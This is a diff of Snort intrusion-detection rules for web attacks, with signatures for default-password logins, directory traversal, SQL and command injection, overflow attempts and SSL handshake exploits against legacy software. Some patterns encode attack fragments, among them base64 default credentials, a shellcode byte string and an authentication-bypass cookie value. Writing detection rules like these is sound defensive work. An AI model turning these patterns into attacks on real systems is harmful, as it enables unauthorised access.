+alert tcp $EXTERNAL_NET any -> $HOME_NET 8181 (msg:"WEB-MISC CISCO PIX Firewall Manager directory traversal attempt"; flow:to_server,established; content:"/pixfir~1/how_to_login.html"; reference:bugtraq,691; reference:cve,1999-0158; reference:nessus,10819; classtype:misc-attack; sid:1858; rev:5;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 9090 (msg:"WEB-MISC Sun JavaServer default password login attempt"; flow:to_server,established; content:"/servlet/admin"; content:"ae9f86d6beaa3f9ecb9a5b7e072a4138"; reference:cve,1999-0508; reference:nessus,10995; classtype:default-login-attempt; sid:1859; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"WEB-MISC Linksys router default password login attempt"; flow:to_server,established; content:"Authorization|3A|"; nocase; pcre:"/^Authorization\x3a\s*Basic\s+OmFkbWlu/smi"; reference:nessus,10999; classtype:default-login-attempt; sid:1860; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"WEB-MISC Linksys router default username and password login attempt"; flow:to_server,established; content:"Authorization|3A|"; nocase; pcre:"/^Authorization\x3a\s*Basic\s+YWRtaW46YWRtaW4/smi"; reference:nessus,10999; classtype:default-login-attempt; sid:1861; rev:9;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC NetGear router default password login attempt admin/password"; flow:to_server,established; content:"Authorization|3A|"; nocase; pcre:"/^Authorization\x3a\s*Basic\s+YWRtaW46cGFzc3dvcmQ/smi"; reference:nessus,11737; classtype:default-login-attempt; sid:2230; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Oracle XSQLConfig.xml access"; flow:to_server,established; uricontent:"/XSQLConfig.xml"; reference:bugtraq,4290; reference:cve,2002-0568; reference:nessus,10855; classtype:web-application-activity; sid:1871; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Oracle Dynamic Monitoring Services dms access"; flow:to_server,established; uricontent:"/dms0"; reference:nessus,10848; classtype:web-application-activity; sid:1872; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC globals.jsa access"; flow:to_server,established; uricontent:"/globals.jsa"; reference:bugtraq,4034; reference:cve,2002-0562; reference:nessus,10850; classtype:web-application-activity; sid:1873; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Oracle Java Process Manager access"; flow:to_server,established; uricontent:"/oprocmgr-status"; reference:nessus,10851; classtype:web-application-activity; sid:1874; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC bad HTTP/1.1 request, Potentially worm attack"; flow:to_server,established; content:"GET / HTTP/1.1|0D 0A 0D 0A|"; depth:18; reference:url,securityresponse.symantec.com/avcenter/security/Content/2002.09.13.html; classtype:web-application-activity; sid:1881; rev:6;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC whisker HEAD with large datagram"; flow:to_server,established,no_stream; dsize:>512; content:"HEAD"; depth:4; nocase; reference:url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html; classtype:attempted-recon; sid:1171; rev:10;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC whisker space splice attack"; flow:to_server,established; dsize:1; content:" "; reference:arachnids,296; reference:url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html; classtype:attempted-recon; sid:1104; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC whisker tab splice attack"; flow:to_server,established; dsize:<5; content:"|09|"; reference:arachnids,415; reference:url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html; classtype:attempted-recon; sid:1087; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC apache chunked encoding memory corruption exploit attempt"; flow:established,to_server; content:"|C0|PR|89 E1|PQRP|B8 3B 00 00 00 CD 80|"; reference:bugtraq,5033; reference:cve,2002-0392; classtype:web-application-activity; sid:1808; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /Carello/add.exe access"; flow:to_server,established; uricontent:"/Carello/add.exe"; nocase; reference:bugtraq,1245; reference:cve,2000-0396; reference:nessus,11776; classtype:web-application-activity; sid:1943; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /ecscripts/ecware.exe access"; flow:to_server,established; uricontent:"/ecscripts/ecware.exe"; nocase; reference:bugtraq,6066; classtype:web-application-activity; sid:1944; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ion-p access"; flow:to_server,established; uricontent:"/ion-p"; nocase; reference:bugtraq,6091; reference:cve,2002-1559; classtype:web-application-activity; sid:1969; rev:3;)
+
+# uricontent would be nice, but we can't be sure we are running http decoding
+# on 8888.  oh for rna integration...
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8888 (msg:"WEB-MISC SiteScope Service access"; flow:to_server,established; content:"/SiteScope/cgi/go.exe/SiteScope"; reference:nessus,10778; classtype:web-application-activity; sid:1499; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8888 (msg:"WEB-MISC answerbook2 admin attempt"; flow:to_server,established; content:"/cgi-bin/admin/admin"; reference:bugtraq,5383; reference:cve,2000-0696; classtype:web-application-activity; sid:1946; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8888 (msg:"WEB-MISC answerbook2 arbitrary command execution attempt"; flow:to_server,established; content:"/ab2/"; content:"|3B|"; distance:1; reference:bugtraq,1556; reference:cve,2000-0697; classtype:web-application-attack; sid:1947; rev:9;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC perl post attempt"; flow:to_server,established; content:"POST"; depth:4; uricontent:"/perl/"; reference:bugtraq,5520; reference:cve,2002-1436; reference:nessus,11158; classtype:web-application-attack; sid:1979; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC TRACE attempt"; flow:to_server,established; content:"TRACE"; depth:5; reference:bugtraq,9561; reference:nessus,11213; reference:url,www.whitehatsec.com/press_releases/WH-PR-20030120.pdf; classtype:web-application-attack; sid:2056; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC helpout.exe access"; flow:to_server,established; uricontent:"/helpout.exe"; reference:bugtraq,6002; reference:cve,2002-1169; reference:nessus,11162; classtype:web-application-activity; sid:2057; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC MsmMask.exe attempt"; flow:to_server,established; uricontent:"/MsmMask.exe"; content:"mask="; reference:nessus,11163; classtype:web-application-attack; sid:2058; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC MsmMask.exe access"; flow:to_server,established; uricontent:"/MsmMask.exe"; reference:nessus,11163; classtype:web-application-activity; sid:2059; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC DB4Web access"; flow:to_server,established; uricontent:"/DB4Web/"; reference:nessus,11180; classtype:web-application-activity; sid:2060; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC Tomcat null byte directory listing attempt"; flow:to_server,established; uricontent:"|00|.jsp"; reference:bugtraq,2518; reference:bugtraq,6721; reference:cve,2003-0042; classtype:web-application-attack; sid:2061; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC iPlanet .perf access"; flow:to_server,established; uricontent:"/.perf"; reference:nessus,11220; classtype:web-application-activity; sid:2062; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC Demarc SQL injection attempt"; flow:to_server,established; uricontent:"/dm/demarc"; content:"s_key="; content:"'"; distance:0; content:"'"; distance:1; content:"'"; distance:0; reference:bugtraq,4520; reference:cve,2002-0539; classtype:web-application-activity; sid:2063; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC Lotus Notes .csp script source download attempt"; flow:to_server,established; uricontent:".csp"; content:".csp"; content:"."; within:1; reference:bugtraq,6841; classtype:web-application-attack; sid:2064; rev:4;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC Lotus Notes .csp script source download attempt"; flow:to_server,established; uricontent:".csp."; classtype:web-application-attack; sid:2065; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC Lotus Notes .pl script source download attempt"; flow:to_server,established; uricontent:".pl"; content:".pl"; content:"."; within:1; reference:bugtraq,6841; classtype:web-application-attack; sid:2066; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC Lotus Notes .exe script source download attempt"; flow:to_server,established; uricontent:".exe"; content:".exe"; content:"."; within:1; reference:bugtraq,6841; classtype:web-application-attack; sid:2067; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC BitKeeper arbitrary command attempt"; flow:to_server,established; uricontent:"/diffs/"; content:"'"; content:"|3B|"; distance:0; content:"'"; distance:1; reference:bugtraq,6588; classtype:web-application-attack; sid:2068; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC chip.ini access"; flow:to_server,established; uricontent:"/chip.ini"; reference:bugtraq,2755; reference:bugtraq,2775; reference:cve,2001-0749; reference:cve,2001-0771; classtype:web-application-activity; sid:2069; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC post32.exe arbitrary command attempt"; flow:to_server,established; uricontent:"/post32.exe|7C|"; reference:bugtraq,1485; classtype:web-application-attack; sid:2070; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC post32.exe access"; flow:to_server,established; uricontent:"/post32.exe"; reference:bugtraq,1485; classtype:web-application-activity; sid:2071; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC lyris.pl access"; flow:to_server,established; uricontent:"/lyris.pl"; reference:bugtraq,1584; reference:cve,2000-0758; classtype:web-application-activity; sid:2072; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC globals.pl access"; flow:to_server,established; uricontent:"/globals.pl"; reference:bugtraq,2671; reference:cve,2001-0330; classtype:web-application-activity; sid:2073; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC philboard.mdb access"; flow:to_server,established; uricontent:"/philboard.mdb"; reference:nessus,11682; classtype:web-application-activity; sid:2135; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC philboard_admin.asp authentication bypass attempt"; flow:to_server,established; uricontent:"/philboard_admin.asp"; content:"Cookie"; nocase; content:"philboard_admin=True"; distance:0; reference:bugtraq,7739; reference:nessus,11675; classtype:web-application-attack; sid:2136; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC philboard_admin.asp access"; flow:to_server,established; uricontent:"/philboard_admin.asp"; reference:bugtraq,7739; reference:nessus,11675; classtype:web-application-activity; sid:2137; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC logicworks.ini access"; flow:to_server,established; uricontent:"/logicworks.ini"; reference:bugtraq,6996; reference:nessus,11639; classtype:web-application-activity; sid:2138; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC /*.shtml access"; flow:to_server,established; uricontent:"/*.shtml"; reference:bugtraq,1517; reference:cve,2000-0683; reference:nessus,11604; classtype:web-application-activity; sid:2139; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-MISC mod_gzip_status access"; flow:to_server,established; uricontent:"/mod_gzip_status"; reference:nessus,11685; classtype:web-application-activity; sid:2156; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC register.dll access"; flow:to_server,established; uricontent:"/register.dll"; nocase; reference:bugtraq,3327; reference:cve,2001-0958; reference:nessus,11747; classtype:web-application-activity; sid:2231; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ContentFilter.dll access"; flow:to_server,established; uricontent:"/ContentFilter.dll"; nocase; reference:bugtraq,3327; reference:cve,2001-0958; reference:nessus,11747; classtype:web-application-activity; sid:2232; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC SFNofitication.dll access"; flow:to_server,established; uricontent:"/SFNofitication.dll"; nocase; reference:bugtraq,3327; reference:cve,2001-0958; reference:nessus,11747; classtype:web-application-activity; sid:2233; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC TOP10.dll access"; flow:to_server,established; uricontent:"/TOP10.dll"; nocase; reference:bugtraq,3327; reference:cve,2001-0958; reference:nessus,11747; classtype:web-application-activity; sid:2234; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC SpamExcp.dll access"; flow:to_server,established; uricontent:"/SpamExcp.dll"; nocase; reference:bugtraq,3327; reference:cve,2001-0958; reference:nessus,11747; classtype:web-application-activity; sid:2235; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC spamrule.dll access"; flow:to_server,established; uricontent:"/spamrule.dll"; nocase; reference:bugtraq,3327; reference:cve,2001-0958; reference:nessus,11747; classtype:web-application-activity; sid:2236; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cgiWebupdate.exe access"; flow:to_server,established; uricontent:"/cgiWebupdate.exe"; nocase; reference:bugtraq,3216; reference:cve,2001-1150; reference:nessus,11722; classtype:web-application-activity; sid:2237; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC WebLogic ConsoleHelp view source attempt"; flow:to_server,established; uricontent:"/ConsoleHelp/"; nocase; uricontent:".jsp"; nocase; reference:bugtraq,1518; reference:cve,2000-0682; reference:nessus,11724; classtype:web-application-attack; sid:2238; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC redirect.exe access"; flow:to_server,established; uricontent:"/redirect.exe"; nocase; reference:bugtraq,1256; reference:cve,2000-0401; classtype:web-application-activity; sid:2239; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC changepw.exe access"; flow:to_server,established; uricontent:"/changepw.exe"; nocase; reference:bugtraq,1256; reference:cve,2000-0401; classtype:web-application-activity; sid:2240; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cwmail.exe access"; flow:to_server,established; uricontent:"/cwmail.exe"; nocase; reference:bugtraq,4093; reference:cve,2002-0273; reference:nessus,11727; classtype:web-application-activity; sid:2241; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ddicgi.exe access"; flow:to_server,established; uricontent:"/ddicgi.exe"; nocase; reference:bugtraq,1657; reference:cve,2000-0826; reference:nessus,11728; classtype:web-application-activity; sid:2242; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ndcgi.exe access"; flow:to_server,established; uricontent:"/ndcgi.exe"; nocase; reference:bugtraq,3583; reference:cve,2001-0922; reference:nessus,11730; classtype:web-application-activity; sid:2243; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC VsSetCookie.exe access"; flow:to_server,established; uricontent:"/VsSetCookie.exe"; nocase; reference:bugtraq,3784; reference:cve,2002-0236; reference:nessus,11731; classtype:web-application-activity; sid:2244; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Webnews.exe access"; flow:to_server,established; uricontent:"/Webnews.exe"; nocase; reference:bugtraq,4124; reference:cve,2002-0290; reference:nessus,11732; classtype:web-application-activity; sid:2245; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC webadmin.dll access"; flow:to_server,established; uricontent:"/webadmin.dll"; nocase; reference:bugtraq,7438; reference:bugtraq,7439; reference:bugtraq,8024; reference:cve,2003-0471; reference:nessus,11771; classtype:web-application-activity; sid:2246; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC oracle portal demo access"; flow:to_server,established; uricontent:"/pls/portal/PORTAL_DEMO"; nocase; reference:nessus,11918; classtype:web-application-activity; sid:2276; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC PeopleSoft PeopleBooks psdoccgi access"; flow:to_server,established; uricontent:"/psdoccgi"; nocase; reference:bugtraq,9037; reference:bugtraq,9038; reference:cve,2003-0626; reference:cve,2003-0627; classtype:web-application-activity; sid:2277; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC client negative Content-Length attempt"; flow:to_server,established; content:"Content-Length|3A|"; nocase; pcre:"/^Content-Length\x3a\s*-\d+/smi"; reference:bugtraq,9098; reference:bugtraq,9476; reference:bugtraq,9576; reference:cve,2004-0095; classtype:misc-attack; sid:2278; rev:8;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-MISC server negative Content-Length attempt"; flow:from_server,established; content:"Content-Length|3A|"; nocase; pcre:"/^Content-Length\x3a\s*-\d+/smi"; reference:cve,2004-0492; reference:url,www.guninski.com/modproxy1.html; classtype:attempted-admin; sid:2580; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC bsml.pl access"; flow:to_server,established; uricontent:"/bsml.pl"; nocase; reference:bugtraq,9311; reference:nessus,11973; classtype:web-application-activity; sid:2327; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ISAPISkeleton.dll access"; flow:to_server,established; uricontent:"/ISAPISkeleton.dll"; nocase; reference:bugtraq,9516; classtype:web-application-activity; sid:2369; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC BugPort config.conf file access"; flow:to_server,established; uricontent:"/config.conf"; nocase; reference:bugtraq,9542; classtype:attempted-recon; sid:2370; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Sample_showcode.html access"; flow:to_server,established; uricontent:"/Sample_showcode.html"; nocase; content:"fname"; reference:bugtraq,9555; classtype:web-application-activity; sid:2371; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC schema overflow attempt"; flow:to_server,established; uricontent:"|3A|//"; pcre:"/^[^\/]{14,}?\x3a\/\//U"; reference:bugtraq,9581; reference:cve,2004-0039; reference:nessus,12084; classtype:attempted-admin; sid:2381; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 2301 (msg:"WEB-MISC Compaq web-based management agent denial of service attempt"; flow:to_server,established; content:"<!"; depth:75; content:">"; within:50; reference:bugtraq,8014; classtype:web-application-attack; sid:2394; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC InteractiveQuery.jsp access"; flow:to_server,established; uricontent:"/InteractiveQuery.jsp"; nocase; reference:bugtraq,8938; reference:cve,2003-0624; classtype:web-application-activity; sid:2395; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC edittag.pl access"; flow:to_server,established; uricontent:"/edittag.pl"; nocase; reference:bugtraq,6675; classtype:web-application-activity; sid:2400; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC util.pl access"; flow:to_server,established; uricontent:"/util.pl"; nocase; reference:bugtraq,9748; classtype:web-application-activity; sid:2407; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Invision Power Board search.pl access"; flow:to_server,established; uricontent:"/search.pl"; content:"st="; nocase; reference:bugtraq,9766; classtype:web-application-activity; sid:2408; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 554 (msg:"WEB-MISC Real Server DESCRIBE buffer overflow attempt"; flow:to_server,established; content:"DESCRIBE"; nocase; content:"../"; distance:1; pcre:"/^DESCRIBE\s[^\n]{300}/smi"; reference:bugtraq,8476; reference:url,www.service.real.com/help/faq/security/rootexploit091103.html; classtype:web-application-attack; sid:2411; rev:5;)
+
+# YES, the contents are logically backwards as to how the contents are seen on
+# the wire.  snort picks up the first of the longest pattern.  login=0 happens
+# MUCH less than Cookie.  so we do this for speed.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC NetObserve authentication bypass attempt"; flow:to_server,established; content:"login=0"; nocase; content:"Cookie|3A|"; nocase; pcre:"/^Cookie\x3a[^\n]*?login=0/smi"; reference:bugtraq,9319; classtype:web-application-attack; sid:2441; rev:3;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 8000:8001 (msg:"WEB-MISC Quicktime User-Agent buffer overflow attempt"; flow:to_server,established; content:"User-Agent|3A|"; nocase; pcre:"/^User-Agent\x3a[^\n]{244,255}/smi"; reference:bugtraq,9735; reference:cve,2004-0169; classtype:web-application-attack; sid:2442; rev:6;)
+
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC source.jsp access"; flow:to_server,established; uricontent:"/source.jsp"; nocase; reference:nessus,12119; classtype:web-application-activity; sid:2484; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ServletManager access"; flow:to_server,established; uricontent:"/servlet/ServletManager"; nocase; reference:bugtraq,3697; reference:cve,2001-1195; reference:nessus,12122; classtype:web-application-activity; sid:2447; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC setinfo.hts access"; flow:to_server,established; uricontent:"/setinfo.hts"; nocase; reference:bugtraq,9973; reference:nessus,12120; classtype:web-application-activity; sid:2448; rev:2;)
+
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC SSLv3 invalid data version attempt"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; content:!"|03|"; depth:1; offset:9; reference:bugtraq,10115; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2505; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC SSLv3 Client_Hello request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03 00|"; depth:3; content:"|01|"; depth:1; offset:5; flowbits:set,sslv3.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2520; rev:10;)
+alert tcp $HTTP_SERVERS 443 -> $EXTERNAL_NET any (msg:"WEB-MISC SSLv3 Server_Hello request"; flow:to_client,established; flowbits:isset,sslv3.client_hello.request; content:"|16 03 00|"; depth:3; content:"|02|"; depth:1; offset:5; flowbits:set,sslv3.server_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2521; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC SSLv3 invalid Client_Hello attempt"; flow:to_server,established; flowbits:isset,sslv3.server_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2522; rev:10;)
+
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC PCT Client_Hello overflow attempt"; flow:to_server,established; flowbits:isnotset,sslv2.server_hello.request; flowbits:isnotset,sslv3.server_hello.request; flowbits:isnotset,tlsv1.server_hello.request; content:"|01|"; depth:1; offset:2; byte_test:2,>,0,5; byte_test:2,!,0,7; byte_test:2,!,16,7; byte_test:2,>,20,9; content:"|8F|"; depth:1; offset:11; byte_test:2,>,32768,0,relative; reference:bugtraq,10116; reference:cve,2003-0719; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-admin; sid:2515; rev:13;)
+
+# one of these days, we will have port lists...
+alert tcp $EXTERNAL_NET any -> $HOME_NET 81 (msg:"WEB-MISC McAfee ePO file upload attempt"; flow:to_server,established; content:"/spipe/repl_file"; nocase; content:"Command=BEGIN"; nocase; reference:bugtraq,10200; reference:cve,2004-0038; classtype:attempted-admin; sid:2562; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cPanel resetpass access"; flow:to_server,established; uricontent:"/resetpass"; nocase; reference:bugtraq,9848; classtype:web-application-activity; sid:2569; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Invalid HTTP Version String"; flow:to_server,established; content:"HTTP/"; nocase; isdataat:6,relative; content:!"|0A|"; within:5; reference:bugtraq,9809; reference:nessus,11593; classtype:non-standard-protocol; sid:2570; rev:7;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Crystal Reports crystalimagehandler.aspx access"; flow:to_server,established; uricontent:"/crystalimagehandler.aspx"; nocase; reference:cve,2004-0204; reference:url,www.microsoft.com/security/bulletins/200406_crystal.mspx; classtype:web-application-activity; sid:2581; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Crystal Reports crystalImageHandler.aspx directory traversal attempt"; flow:to_server,established; uricontent:"/crystalimagehandler.aspx"; nocase; content:"dynamicimage=../"; nocase; reference:bugtraq,10260; reference:cve,2004-0204; reference:nessus,12271; reference:url,www.microsoft.com/security/bulletins/200406_crystal.mspx; classtype:web-application-attack; sid:2582; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Samba SWAT Authorization overflow attempt"; flow:to_server,established; content:"Authorization|3A| Basic"; nocase; pcre:"/^Authorization\x3a Basic\s+=/smi"; reference:bugtraq,10780; classtype:web-application-attack; sid:2597; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 901 (msg:"WEB-MISC Samba SWAT Authorization port 901 overflow attempt"; flow:to_server,established; content:"Authorization|3A| Basic"; nocase; pcre:"/^Authorization\x3a Basic\s+=/smi"; reference:bugtraq,10780; classtype:web-application-attack; sid:2598; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC SSLv2 Client_Hello request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; byte_test:1,>,127,0; content:"|01|"; depth:1; offset:2; content:"|00 02|"; depth:2; offset:5; flowbits:set,sslv2.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2658; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC TLSv1 Client_Hello request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03 01|"; depth:3; content:"|01|"; depth:1; offset:5; flowbits:set,tlsv1.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2661; rev:3;)
